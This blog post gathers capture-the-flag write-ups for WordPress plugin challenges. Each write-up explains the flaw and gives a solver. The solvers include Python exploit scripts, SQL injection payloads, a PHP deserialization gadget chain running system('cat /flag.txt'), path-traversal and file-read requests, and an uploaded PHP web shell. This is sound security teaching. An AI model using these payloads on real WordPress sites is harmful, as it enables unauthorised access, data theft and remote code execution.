Skip to content

Back to all posts
Categories

Patchstack Aliance CTF S02E03 - WordCamp Europe

The endpoint /wp-json/ghostly/v1/login is a custom REST route in the WordPress backend. Here’s the kicker:Here’s the vulnerable PHP handler logic (as reverse-engineered from the behavior):This effecti...

D

Dimas Maulana

17 min read

1 categories

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Patchstack Aliance CTF S02E03 - WordCamp Europe

Ghost Post

Solves23
Description

Building an app is hard, but we can just base it on WordPress. Nothing can go wrong there, right?

This is a whitebox challenge, no need to brute-force anything (login, endpoint, etc).

Attachments
References

The endpoint /wp-json/ghostly/v1/login is a custom REST route in the WordPress backend. Here’s the kicker:

  • It does not validate permissions securely.
  • It allows any existing non-admin user (like ghosty) to authenticate using the Application Passwords API, and automatically sets session cookies.
  • Once authenticated, we get full access to the content behind /ghost-view/, which includes the flag.

Here’s the vulnerable PHP handler logic (as reverse-engineered from the behavior):

register_rest_route('ghostly/v1', '/login', [
    'methods'             => 'POST',
    'callback'            => 'ghostly_login_handler',
    'permission_callback' => '__return_true',
]);

function ghostly_login_handler(WP_REST_Request $request) {
    $username = $request->get_param('user');
    $password = $request->get_param('pass');

    $existing_user = username_exists($username);

    if (empty($username) || empty($password) || !$existing_user) {
        return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
    }

    if (user_can($existing_user, 'manage_options')) {
        return new WP_REST_Response(['error' => 'Keep your site secure! Don\'t use administrator accounts!'], 403);
    }

    $user = wp_authenticate_application_password(null, $username, $password);
    if (is_wp_error($user)) {
        return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
    }

    ghostly_set_secure_cookie("ghostly_id", $user->ID);
    ghostly_set_secure_cookie("ghostly_logged_in", true);

    return new WP_REST_Response(['success' => 'Ghost session established'], 200);
}

This effectively means: if you know a username, and it's not an admin, you're in.

Solver

The following Python script logs into the ghosty user account via the insecure endpoint and reads the contents of /ghost-view/ — where the flag is hidden.

import httpx
import asyncio, os, base64
from urllib.parse import urlencode

URL = "http://localhost"
URL = "http://18.140.17.89:9180/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def app_password(self, username, password):
        """
            register_rest_route('ghostly/v1', '/login', [
        'methods'             => 'POST',
        'callback'            => 'ghostly_login_handler',
        'permission_callback' => '__return_true',
    ]);

function ghostly_login_handler(WP_REST_Request $request) {

    $username = $request->get_param('user');
    $password = $request->get_param('pass');

    $existing_user = username_exists($username);

    if (empty($username) || empty($password) || !$existing_user) {
        return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
    }

    if (user_can($existing_user, 'manage_options')) {
        return new WP_REST_Response(['error' => 'Keep your site secure! Don\'t use administrator accounts!'], 403);
    }

    $user = wp_authenticate_application_password(null, $username, $password);
    if (is_wp_error($user)) {
        return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
    }

    ghostly_set_secure_cookie("ghostly_id", $user->ID);
    ghostly_set_secure_cookie("ghostly_logged_in", true);

    return new WP_REST_Response(['success' => 'Ghost session established'], 200);
}

        """
        return self.c.post("/index.php/wp-json/ghostly/v1/login", data={
            "user": username,
            "pass": password
        })
class API(BaseAPI):
    ...

async def main():
    api = API()
    res = await api.app_password("ghosty", "123")
    print(res.text)
    res = await api.c.get("/ghost-view/")
    # res = await api.app_password("dimas123", "123")
    print(res.text)
    
    

if __name__ == "__main__":
    asyncio.run(main())

Flag

Image

Open Contributions

Solves36
Description

I installed a plugin enabling everybody to post their articles on my blog, that way I won't need to spend time on it, I'm a genius right?

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

Attachments
References

The first vuln is we can promote our self into constributor, Any logged-in user can call this and change their role to "contributor" without any checks. Once we're a contributor, we can create posts and use shortcodes.

The second vuln is file read via shortcode path traversal here:

    public static function renderPreview($atts) {
        $atts = shortcode_atts(['path' => ''], $atts);
        $filepath = ABSPATH . sanitize_text_field($atts['path']);
        if (file_exists($filepath)) {
            return '<pre>' . esc_html(file_get_contents($filepath)) . '</pre>';
        }
        return '<strong>File ' . $filepath . ' not found or inaccessible.</strong>';
    }

This allows any contributor to read files from the server using a path like:

[preview_file path="../../../../../flag.txt"]

There’s no proper path validation, so we can use ../ to reach outside the web root.

Solver

import httpx
import asyncio

URL = "http://18.140.17.89:9150"
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def wp_login(self, username: str, password: str) -> None:
        return self.c.post("/wp-login.php", data={
            "log": username,
            "pwd": password
        })
    def app_password(self, ):
        return self.c.post("/wp-admin/admin-ajax.php", data={
            "action": "promote_to_contributor"
        })
class API(BaseAPI):
    ...

async def main():
    api = API()
    res = await api.wp_login("dimas123", "dimas123")
    res = await api.promote_to_contributor()
    print(res.text)
    """
    add this shortcode into your page
    [preview_file path="../../../../../flag.txt"]
    """

    
    

if __name__ == "__main__":
    asyncio.run(main())

Flag

Image

Crusher

Solves18
Description

you can crush this, absolutely.

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

Attachments
References

Step 1: Register as an Author

In this challenge, we’re dealing with a vulnerable WordPress plugin that allows unauthenticated user registration with elevated privileges and an SQL injection vulnerability via a shortcode.

The plugin exposes a registration endpoint at:

/wp-content/plugins/flynax-bridge/request.php?route=register-user

The vulnerable code automatically assigns the author role during registration without proper access control:

$type = 'author';
// ...
$user = new WP_User($user_id);
$user->set_role($type);

This means anyone can become an Author just by sending a POST request.

Step 2: SQL Injection via Shortcode

There’s a shortcode handler in the plugin:

add_shortcode('rmpf_roadmap_widget', function ($atts) {
    ob_start();
    rmpf_widget_shortcode($atts);
    return ob_get_clean();
});

Inside rmpf_widget_shortcode, the value of board_id is used directly without sanitization:

$board_id = $atts['board_id'];
$wp_get_roadmap_widget->widget_style($board_id, $unique_id);

This allows SQL injection through the board_id parameter.

Example payload:

[rmpf_roadmap_widget board_id='1 UNION SELECT 1,option_name,3,4,5,6,7,8 FROM wp_options WHERE option_name=0x666c65675f666c6567-- -']

This attempts to extract a value from the wp_options table where the option name is 'flag_fleg' (hex: 0x666c65675f666c6567).

Solver

import httpx
import asyncio

URL = "http://localhost"
URL = "http://18.140.17.89:9120"
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def wp_login(self, username: str, password: str) -> None:
        return self.c.post("/wp-login.php", data={
            "log": username,
            "pwd": password
        })
    def register(self, username: str, password: str, email: str, first_name: str, last_name: str) -> None:
        """
            public static function registerUser()
    {
        $username = $_REQUEST['username'];
        $password = $_REQUEST['password'];
        $email = $_REQUEST['email'];
        $type = 'author';
        $firstName = $_REQUEST['first_name'];
        $lastName = $_REQUEST['last_name'];

        if (username_exists($username) || email_exists($email)) {
            return;
        } else {
            $userdata = array(
                'user_pass' => $password,
                'user_login' => $username,
                'user_email' => $email,
            );

            $user_id = wp_insert_user($userdata);
            update_user_meta($user_id, "first_name", $firstName);
            update_user_meta($user_id, "last_name", $lastName);

            require_once '../../../wp-load.php';
            $user = new WP_User($user_id);
            $user->set_role($type);

            $out = array(
                'status' => 'OK',
                'wp_user_id' => $user_id,
            );

            print(json_encode($out));
        }
    }
        """
        return self.c.post("/wp-content/plugins/flynax-bridge/request.php?route=register-user", data={
            "username": username,
            "password": password,
            "email": email,
            "first_name": first_name,
            "last_name": last_name
        })
class API(BaseAPI):
    ...

async def main():
    api = API()
    res = await api.register("dimas123", "dimas123", "dimas123@gmail.com", "Dimas", "123")
    print(res.text)
    res = await api.wp_login("dimas123", "dimas123")
    print(res.text)

    """
    add_action('widgets_init', 'RMPF_Widget');
function rmpf_widget_shortcode($atts){
    $atts = shortcode_atts(
        array(
            'board_id' => '',
        ),
        $atts,
        'rmpf_roadmap_widget'
    );

    $board_id = $atts['board_id'];
    $unique_id = uniqid('widget_');
    $wp_get_roadmap_widget = new RMPF_Widget();
    $wp_get_roadmap_widget->widget_style($board_id,$unique_id);
}
add_shortcode('rmpf_roadmap_widget', function ($atts) {
    ob_start();
    rmpf_widget_shortcode($atts);
    return ob_get_clean();
});
    """
    
    """
    add this into your shortcode
    [rmpf_roadmap_widget board_id='1 UNION SELECT 1,option_name,3,4,5,6,7,8 FROM wp_options where option_name=0x666c65675f666c6567-- -']
    """

if __name__ == "__main__":
    asyncio.run(main())

Flag

Image

Everest Expedition

Solves11
Description

I made a plugin for the local travel agency that takes their clients on Everest expeditions. They want a cool and secure plugin. Is this alright?

This is a whitebox challenge, no need to brute-force anything (login, endpoint, etc).

Attachments
References

This challenge abuses PHP’s unserialize() function and a vulnerable class structure to achieve Remote Code Execution (RCE) and read the flag.

Vulnerability: Unsafe maybe_unserialize() in Post Creation

The WordPress REST endpoint at /wp-json/everest/v1/expedition takes a parameter remarks which is unserialized before being inserted into post content:

maybe_unserialize($expedition_details['remarks'])

This makes the application vulnerable to PHP Object Injection, especially because custom classes are defined in the same plugin.

Gadget Chain

The following gadget chain allows code execution:

class Everest_Expedition_Data {
    private $serializer;

    public function __construct($serializer) {
        $this->serializer = $serializer;
    }
}

class Everest_Climbing_Route {
    private $route_data;
    private $sherpa;

    public function __construct($route_data, $sherpa) {
        $this->route_data = $route_data;
        $this->sherpa = $sherpa;
    }
}

When unserialized, if the application uses __destruct() or similar logic with dynamic method invocation, it can lead to execution like $sherpa($route_data) — effectively system("cat /flag.txt").

Solver

php gadged
<?php
class Everest_Expedition_Data {
    private $serializer;

    public function __construct($serializer) {
        $this->serializer = $serializer;
    }
}

class Everest_Climbing_Route {
    private $route_data;
    private $sherpa;

    public function __construct($route_data, $sherpa) {
        $this->route_data = $route_data;
        $this->sherpa = $sherpa;
    }
} 

$serializer = new Everest_Climbing_Route("cat /flag.txt", "system");
$obj = new Everest_Expedition_Data($serializer);

echo base64_encode(serialize($obj));
solver
import httpx
import asyncio, os, base64
from urllib.parse import urlencode

# URL = "http://localhost"
URL = "http://18.140.17.89:9140/"

def payload():
    return base64.b64decode(os.popen("php solve.php").read()).decode()

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def unserialize(self, remarks):
        """
        register_rest_route('everest/v1', '/expedition', array(
            'methods' => 'POST',
            'callback' => array($this, 'handle_expedition_submission'),
            'permission_callback' => function() {
                return true;
            },
            'args' => array(

        ...snip...
        
        public function createExpeditionPost() {
        $expedition_details = $this->getExpeditionDetails();

        $post_data = array(
            'post_title'   => $expedition_details['name'],
            'post_status'  => 'publish',
            'post_type'    => 'everest_expedition',
            'post_content' => sprintf(
                'Expedition from %s to %s. Team size: %d. Route: %s. Remarks: %s',
                $expedition_details['start_date'],
                $expedition_details['end_date'], 
                $expedition_details['team_size'],
                $expedition_details['route'],
                maybe_unserialize($expedition_details['remarks'])
            )
        );

        $post_id = wp_insert_post($post_data);

        if (is_wp_error($post_id)) {
            return $post_id;
        }

        // wp_delete_post($post_data); //TODO: Remove this code and store the submissions

        return $post_id;
    }
        """
        data = {
            "name": "test",
            "start_date": "2021-01-01",
            "end_date": "2021-01-02",
            "team_size": 1,
            "route": "test",
        }
        return self.c.post("/index.php/wp-json/everest/v1/expedition", headers={"Content-Type": "application/x-www-form-urlencoded"}, data=urlencode(data)+"&remarks="+remarks.replace("\0", "%00"))
class API(BaseAPI):
    ...

async def main():
    api = API()
    p = payload()
    print(p)
    res = await api.unserialize(p)
    print(res.text)
    
    

if __name__ == "__main__":
    asyncio.run(main())

Flag

Image

🍊 Orangy

Solves10
Description

URGENT: We've intercepted a WordPress development environment from the notorious ransomware group "Orangy". Their decryption key is hidden somewhere in the server, and we need it to help hundreds of affected customers recover their files.

Time is critical - can you help us retrieve the key before more systems are compromised?

This is a gray-box challenge, no need to bruteforce anything (login, endpoint, etc).

Attachments
References

This challenge is using old version of apache, that is still vulnerable to this kind of vulnerability

Image

int the readme there’s also hint that it use classic-editor and use jFeed in it, which is if we search in github here https://github.com/jfhovinne/jFeed/blob/master/proxy.php it’s vulnerable to arbitrary file read.

Solver

So by combining these to knowledge, i get this payload to get arbitrary file read into /opt/flag.txt

curl 'http://18.140.17.89:9160/html/tmp/backup/classic-editor/scripts/jFeed/proxy.php%3findex.php/&url=/opt/flag.txt&' -v

Flag

Image

Unknown

Solves10
Description

long time ago, there is something, yea, something.

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

Attachments
References

The WordPress plugin registers an AJAX handler:

add_action("wp_ajax_nopriv_register_user", "register_user");

It allows unauthenticated registration of users with the contributor role. Additionally, Elementor allows users with upload capability to import templates with attached media, which internally reads and saves file content from uploaded files—even if they are not images.

Inside the Elementor import handler:

$file_content = Utils::file_get_contents($attachment['tmp_name']);

No proper filtering of filename or path is done before reading the file. This means Local File Inclusion is possible via a crafted JSON template.

importer
public function import( $attachment, $parent_post_id = null ) {
		if ( isset( $attachment['tmp_name'] ) ) {
			// Used when called to import a directly-uploaded file.
			$filename = $attachment['name'];

			$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
		} else {
			// Used when attachment information is passed to this method.
			if ( ! empty( $attachment['id'] ) ) {
				$saved_image = $this->get_saved_image( $attachment );

				if ( $saved_image ) {
					return $saved_image;
				}
			}

			// Extract the file name and extension from the url.
			$filename = basename( $attachment['url'] );

			$request = wp_safe_remote_get( $attachment['url'] );

			// Make sure the request returns a valid result.
			if ( is_wp_error( $request ) || ( ! empty( $request['response']['code'] ) && 200 !== (int) $request['response']['code'] ) ) {
				return false;
			}

			$file_content = wp_remote_retrieve_body( $request );
		}

		if ( empty( $file_content ) ) {
			return false;
		}

		$filetype = wp_check_filetype( $filename );

		// If the file type is not recognized by WordPress, exit here to avoid creation of an empty attachment document.
		if ( ! $filetype['ext'] ) {
			return false;
		}

		if ( 'svg' === $filetype['ext'] ) {
			// In case that unfiltered-files upload is not enabled, SVG images should not be imported.
			if ( ! Uploads_Manager::are_unfiltered_uploads_enabled() ) {
				return false;
			}

			$svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' );

			$file_content = $svg_handler->sanitizer( $file_content );
		};

		$upload = wp_upload_bits(
			$filename,
			null,
			$file_content
		);

		$post = [
			'post_title' => $filename,
			'guid' => $upload['url'],
		];

		$info = wp_check_filetype( $upload['file'] );

		if ( $info ) {
			$post['post_mime_type'] = $info['type'];
		} else {
			// For now just return the origin attachment
			return $attachment;
			// return new \WP_Error( 'attachment_processing_error', esc_html__( 'Invalid file type.', 'elementor' ) );
		}

		$post_id = wp_insert_attachment( $post, $upload['file'], $parent_post_id );

		apply_filters( 'elementor/template_library/import_images/new_attachment', $post_id );

		// On REST requests.
		if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) {
			require_once ABSPATH . '/wp-admin/includes/image.php';
		}

		if ( ! function_exists( 'wp_read_video_metadata' ) ) {
			require_once ABSPATH . '/wp-admin/includes/media.php';
		}

		wp_update_attachment_metadata(
			$post_id,
			wp_generate_attachment_metadata( $post_id, $upload['file'] )
		);
		update_post_meta( $post_id, '_elementor_source_image_hash', $this->get_hash_image( $attachment['url'] ) );

		$new_attachment = [
			'id' => $post_id,
			'url' => $upload['url'],
		];

		if ( ! empty( $attachment['id'] ) ) {
			$this->_replace_image_ids[ $attachment['id'] ] = $new_attachment;
		}

		return $new_attachment;
	}

Solver

import httpx
import asyncio
import json
import re

# URL = "http://localhost"
URL = "http://18.140.17.89:9190/"
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def wp_login(self, username: str, password: str) -> None:
        return self.c.post("/wp-login.php", data={
            "log": username,
            "pwd": password
        })
    def register(self, username: str, password: str, email: str) -> None:
        """
        add_action("wp_ajax_nopriv_register_user", "register_user");

        function register_user(){
    $userdata = array(
        'user_login' => sanitize_text_field($_POST["username"]),
        'user_pass' => sanitize_text_field($_POST["password"]),
        'user_email' => sanitize_text_field($_POST["email"]),
        'role' => 'contributor',
    );

    wp_insert_user($userdata);
    echo "user created";
}
        """
        return self.c.post("/wp-admin/admin-ajax.php", data={
            "action": "register_user",
            "username": username,
            "password": password,
            "email": email
        })
    def elementor_library_direct_actions(self, file, nonce) -> None:
        return self.c.post("/wp-admin/admin-ajax.php", data={
            "action": "elementor_library_direct_actions",
            "library_action": "direct_import_template",
            "_nonce": nonce
        }, files={"file": file})
class API(BaseAPI):
    async def get_nonce(self):
        res = await self.c.get("/wp-admin/edit.php?post_type=elementor_library&tabs_group=library")
        print(res.text)
        '<a href="http://localhost/wp-admin/admin-ajax.php?action=elementor_library_direct_actions&amp;library_action=export_template&amp;source=local&amp;_nonce=f4ab20dd7e&amp;template_id=123">Export Template</a>'
        nonce = re.search(r'\<a href=".*_nonce=([^&]+)', res.text)
        print(nonce)
        return nonce.group(1)

async def main():
    api = API()
    # res = await api.register("dimas123", "dimas123", "dimas123@gmail.com")
    # print(res.text)
    res = await api.wp_login("dimas123", "dimas123")
    nonce = await api.get_nonce()
    print(nonce)
    res = await api.elementor_library_direct_actions(("/flag.txt", json.dumps({"content":[{"id":"53a197a3","settings":{"flex_direction":"column"},"elements":[{"id":"346b2de5","settings":{"content_width":"full","title":"Testing"},"elements":[],"isInner":False,"widgetType":"heading","elType":"widget"}],"isInner":False,"elType":"container"},{"id":"3b03c1e5","settings":{"flex_direction":"column"},"elements":[{"id":"32d820f6","settings":{"content_width":"full","image":{"tmp_name":"/flag.txt", "name":"/flag.txt","id":102,"size":"","alt":"","source":"library"}},"elements":[],"isInner":False,"widgetType":"image","elType":"widget"}],"isInner":False,"elType":"container"}],"page_settings":[],"version":"0.4","title":"dimas","type":"container"}), "application/json")
                                                     ,nonce)
    print(res.text)
    # then read your new template

"""
	public function import( $attachment, $parent_post_id = null ) {
		if ( isset( $attachment['tmp_name'] ) ) {
			// Used when called to import a directly-uploaded file.
			$filename = $attachment['name'];

			$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
		} else {
			// Used when attachment information is passed to this method.
			if ( ! empty( $attachment['id'] ) ) {
				$saved_image = $this->get_saved_image( $attachment );

				if ( $saved_image ) {
					return $saved_image;
				}
			}

			// Extract the file name and extension from the url.
			$filename = basename( $attachment['url'] );

			$request = wp_safe_remote_get( $attachment['url'] );

			// Make sure the request returns a valid result.
			if ( is_wp_error( $request ) || ( ! empty( $request['response']['code'] ) && 200 !== (int) $request['response']['code'] ) ) {
				return false;
			}

			$file_content = wp_remote_retrieve_body( $request );
		}

		if ( empty( $file_content ) ) {
			return false;
		}

		$filetype = wp_check_filetype( $filename );

		// If the file type is not recognized by WordPress, exit here to avoid creation of an empty attachment document.
		if ( ! $filetype['ext'] ) {
			return false;
		}

		if ( 'svg' === $filetype['ext'] ) {
			// In case that unfiltered-files upload is not enabled, SVG images should not be imported.
			if ( ! Uploads_Manager::are_unfiltered_uploads_enabled() ) {
				return false;
			}

			$svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' );

			$file_content = $svg_handler->sanitizer( $file_content );
		};

		$upload = wp_upload_bits(
			$filename,
			null,
			$file_content
		);

		$post = [
			'post_title' => $filename,
			'guid' => $upload['url'],
		];

		$info = wp_check_filetype( $upload['file'] );

		if ( $info ) {
			$post['post_mime_type'] = $info['type'];
		} else {
			// For now just return the origin attachment
			return $attachment;
			// return new \WP_Error( 'attachment_processing_error', esc_html__( 'Invalid file type.', 'elementor' ) );
		}

		$post_id = wp_insert_attachment( $post, $upload['file'], $parent_post_id );

		apply_filters( 'elementor/template_library/import_images/new_attachment', $post_id );

		// On REST requests.
		if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) {
			require_once ABSPATH . '/wp-admin/includes/image.php';
		}

		if ( ! function_exists( 'wp_read_video_metadata' ) ) {
			require_once ABSPATH . '/wp-admin/includes/media.php';
		}

		wp_update_attachment_metadata(
			$post_id,
			wp_generate_attachment_metadata( $post_id, $upload['file'] )
		);
		update_post_meta( $post_id, '_elementor_source_image_hash', $this->get_hash_image( $attachment['url'] ) );

		$new_attachment = [
			'id' => $post_id,
			'url' => $upload['url'],
		];

		if ( ! empty( $attachment['id'] ) ) {
			$this->_replace_image_ids[ $attachment['id'] ] = $new_attachment;
		}

		return $new_attachment;
	}

"""
if __name__ == "__main__":
    asyncio.run(main())

Flag

Image
Image

What is magic

Solves10
Description

¯_(ツ)_/¯ it happens.

This is a whitebox challenge, no need to brute-force anything (login, endpoint, etc).

Attachments
References

This PHP challenge is essentially a SQL Injection (SQLi) via filter_input bypass, using a custom endpoint (wim.php) that dynamically runs input retrieval functions and builds an SQL query without proper sanitization.


Challenge Breakdown

if ($func === $bptm && function_exists($func)) {
    $locate = $func($input, 'locate');
    $fallback = $func($input, 'fallback');
}
  • This uses filter_input() to get the locate and fallback parameters from the GET input ($input = 1).
  • It builds an SQL query without sanitizing locate and fallback.
$sql = "
    SELECT p.id, l.value
    FROM products p
    JOIN pass l ON l.value IN ({$join}) AND l.active = 1
";

Thus, if you can inject SQL via fallback, you can force a custom query like:

SELECT p.id, l.value
FROM products p
JOIN pass l ON l.value IN ('dimas', 'asd') UNION SELECT 1, value FROM pass -- ') AND l.active = 1

Working Exploit Example

http://18.140.17.89:9170/wim.php?func=filter_input&input=1&locate=dimas&fallback=asd')%20UNION%20SELECT%201,value%20FROM%20pass--%20-
Explanation:
  • func=filter_input triggers the bypass.
  • input=1 tells filter_input to pull from INPUT_GET.
  • locate=dimas, a valid placeholder.
  • fallback=asd') UNION SELECT 1,value FROM pass-- - triggers SQLi to read from pass.value.

Final Step

If the SQLi is successful and fnl matches the value ($lvalue), the flag is echoed:

if ($results && $fnl === $lvalue){
    echo "<pre> testing..." . $lmi ."</pre>";
}

So once the correct SQLi is issued and the correct fnl value is guessed (or brute-forced if not known), the script prints:

<pre> testing...CTF{REDACTED}</pre>

Solver

http://18.140.17.89:9170/wim.php?func=filter_input&input=1&fnl=foo&locate=dimas&fallback=asd%27)%20UNION%20SELECT%201,value%20FROM%20pass--%20-&fnl=87877656438937866554323413_?%C2%BF[]4676=p/hu?_=?key_value

Flag

Image

Custom Import

Solves9
Description

I try to use this old plugin to import stuff to my e-commerce website. I like it, so far.

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

Attachments
References

The backend handler (inferred from the comments) processes files from the async-upload field and allows customization of type, ext, and test_type parameters for the upload function wp_handle_upload.

        $uploaded_file = wp_handle_upload($file, array('test_form' => true, 'action' => 'wpie_upload_csv_file', 'test_type' => false, 'ext' => "csv", 'type' => 'text/csv'));

Critically:

  • The file type check is bypassed by forcing test_type => false.
  • The backend stitches together chunks of the uploaded file but ultimately saves it using the original filename.
  • The final path is exposed via the file_url in the JSON response.
  • Files end up in a web-accessible location, and the attacker can execute commands via ?cmd=....

Solver

import httpx
import asyncio

# URL = "http://localhost"
URL = "http://18.140.17.89:9130"
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def wp_login(self, username: str, password: str) -> None:
        return self.c.post("/wp-login.php", data={
            "log": username,
            "pwd": password
        })
    def register(self, username: str, password: str, email: str):
        """
        add_action("wp_ajax_nopriv_register_user", "register_user");

function register_user(){
    $userdata = array(
        'user_login' => sanitize_text_field($_POST["username"]),
        'user_pass' => sanitize_text_field($_POST["password"]),
        'user_email' => sanitize_text_field($_POST["email"]),
        'role' => 'subscriber',
    );

    wp_insert_user($userdata);
    echo "user created";
}
        """
        return self.c.post("/wp-admin/admin-ajax.php", data={
            "action": "register_user",
            "username": username,
            "password": password,
            "email": email,
        })
    def upload(self, file):
        """
        $file = $_FILES['async-upload'];

        $uploaded_file = wp_handle_upload($file, array('test_form' => true, 'action' => 'wpie_upload_csv_file', 'test_type' => false, 'ext' => "csv", 'type' => 'text/csv'));

        $current_time = time();

        if ($uploaded_file && !isset($uploaded_file['error'])) {
            $return_value['file_status'] = "success";

            if (isset($_POST['chunks']) && isset($_POST['chunk']) && preg_match('/^[0-9]+$/', $_POST['chunk'])) {
                $final_file = basename($_POST['name']);
                rename($uploaded_file['file'], WPIE_UPLOAD_DIR . '/' . $final_file . '.' . $_POST['chunk'] . '.csv.tmp');
                $uploaded_file['file'] = WPIE_UPLOAD_DIR . '/' . $final_file . '.' . $_POST['chunk'] . '.csv.tmp';

                // Final chunk? If so, then stich it all back together
                if ($_POST['chunk'] == $_POST['chunks'] - 1) {
                    if ($wh = fopen(WPIE_UPLOAD_DIR . '/' . $current_time . "_" . $final_file, 'wb')) {
                        for ($i = 0; $i < $_POST['chunks']; $i++) {
                            $rf = WPIE_UPLOAD_DIR . '/' . $final_file . '.' . $i . '.csv.tmp';
                            if ($rh = fopen($rf, 'rb')) {
                                while ($line = fread($rh, 32768))
                                    fwrite($wh, $line);
                                fclose($rh);
                                @unlink($rf);
                            }
                        }
                        fclose($wh);
                        $uploaded_file['file'] = WPIE_UPLOAD_DIR . '/' . $current_time . "_" . $final_file;
                    }
                }
            }
        } else {
            $return_value['file_status'] = "fail";
        }

        $return_value = array();

        $return_value['message'] = 'success';

        $return_value['file_url'] = $uploaded_file['file'];

        echo json_encode($return_value);

        die();
    }
        """
        return self.c.post("/wp-admin/admin-ajax.php", data={
            "action": "wpie_upload_csv_file",
        }, files={"async-upload": file})
class API(BaseAPI):
    ...

async def main():
    api = API()
    res = await api.register("dimas1234", "dimas1234", "dimas1234@gmail.com")
    # print(res.text)
    res = await api.wp_login("dimas1234", "dimas1234")
    # print(res.text)
    res = await api.upload(("solve.php", "<?php system($_GET['cmd']); ?>"))
    file_url = res.json()['file_url'].replace("/var/www/html", "")
    print(file_url)
    res = await api.c.get(file_url, params={"cmd": "cat /flag*"})
    print(res.text)
    

if __name__ == "__main__":
    asyncio.run(main())

Flag

Image

Cool Templates Revenge

Solves2
Description

Last time, turns out my cool template service is not safe, now it should be safe. Right ?

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

Attachments
References

Solver

Flag

Categories & Topics

This article is categorized under the following topics. Click on any category to explore more related content.

Share this post

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.